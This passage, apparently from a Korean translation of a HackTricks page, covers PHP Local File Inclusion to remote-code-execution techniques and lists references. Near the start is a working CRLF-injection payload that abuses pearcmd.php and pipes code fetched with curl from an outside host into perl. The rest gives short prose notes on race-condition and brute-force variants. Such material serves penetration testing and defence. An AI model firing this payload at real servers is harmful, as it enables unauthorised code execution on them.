다음은 CRLF vuln을 악용하여 RCE를 얻는 사례입니다 (출처: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo()를 통해 (file_uploads = on)
만약 Local File Inclusion을 발견했고 phpinfo()가 노출되어 있으며 file_uploads = on이라면 RCE를 얻을 수 있습니다:
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure를 통해
만약 Local File Inclusion을 발견했고 임시 파일의 경로를 exfiltrate할 수 있지만 server가 포함할 파일에 PHP marks가 있는지 checking하고 있다면, 이 Race Condition으로 그 검증을 bypass해볼 수 있습니다:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce를 통해
만약 LFI를 악용해 임시 파일을 upload할 수 있고 서버의 PHP 실행을 hang시키게 만들 수 있다면, 수시간에 걸쳐 파일명을 brute force하여 임시 파일을 찾을 수 있습니다:
Fatal Error로
다음 파일들 중 어느 하나를 include하면 /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (그 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
이게 어떻게 유용한지는 모르겠지만 가능성은 있어 보입니다.
설령 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일들은 삭제됩니다.
.png)
참고자료
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.